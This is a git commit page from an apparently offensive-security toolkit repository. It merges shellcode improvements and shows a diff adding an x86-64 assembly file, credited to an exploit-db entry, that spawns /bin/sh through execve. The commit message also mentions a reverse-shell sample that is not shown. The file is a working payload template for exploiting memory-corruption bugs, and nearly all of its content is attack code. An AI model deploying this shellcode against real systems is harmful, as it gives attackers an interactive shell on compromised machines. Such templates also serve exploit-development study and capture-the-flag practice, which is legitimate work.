diff options
author | Malfurious <m@lfurio.us> | 2023-01-15 10:20:14 -0500 |
---|---|---|
committer | Malfurious <m@lfurio.us> | 2023-01-15 10:20:14 -0500 |
commit | 593d6ede20e054279f3bcd7c52bffa05b1eeae04 (patch) | |
tree | 53aef3ba981f0d77a7ca9b2f2665557d0f578ee7 /templates/shellcode/examples/shell64.asm | |
parent | efcde85490e1ef9fccc2048a919898588b97de00 (diff) | |
parent | 8037b8c5acaeeeff32d6de01c06132a4f5e432bf (diff) | |
download | lib-des-gnux-593d6ede20e054279f3bcd7c52bffa05b1eeae04.tar.gz lib-des-gnux-593d6ede20e054279f3bcd7c52bffa05b1eeae04.zip |
Merge branch 'shellcoding-enhancements'
Adds a reverse shell and other improvements for correctness, along with
a general cleanup of the files.
* shellcoding-enhancements:
Ignore shellcode working files
shellcode: Add sample for connecting a TCP socket
shellcode: Update /bin/sh shellcodes
shellcode: Remove shelltool
shellcode: Update Makefile
shellcode: Move example code to a new directory
shellcode: Drop SYS_EXIT samples
Diffstat (limited to 'templates/shellcode/examples/shell64.asm')
-rw-r--r-- | templates/shellcode/examples/shell64.asm | 24 |
1 files changed, 24 insertions, 0 deletions
diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm new file mode 100644 index 0000000..3812c33 --- /dev/null +++ b/templates/shellcode/examples/shell64.asm @@ -0,0 +1,24 @@ +; Originally based on https://www.exploit-db.com/shellcodes/47008 + +; stack layout +; +; ┏━━━━━━━━━━━━━━┓ +; ┃ v +; [ argv0, NULL ] "/bin//sh" NULL +; ^ ^ ^ +; ┃ ┃ ┃ +; argv envp filename + +; execve("/bin/sh", ["/bin/sh"], []) +xor rax, rax +xor rsi, rsi +mov rdi, 0x68732f2f6e69622f +push rsi +push rdi +mov rdi, rsp +push rsi +mov rdx, rsp +push rdi +mov rsi, rsp +mov al, 59 +syscall |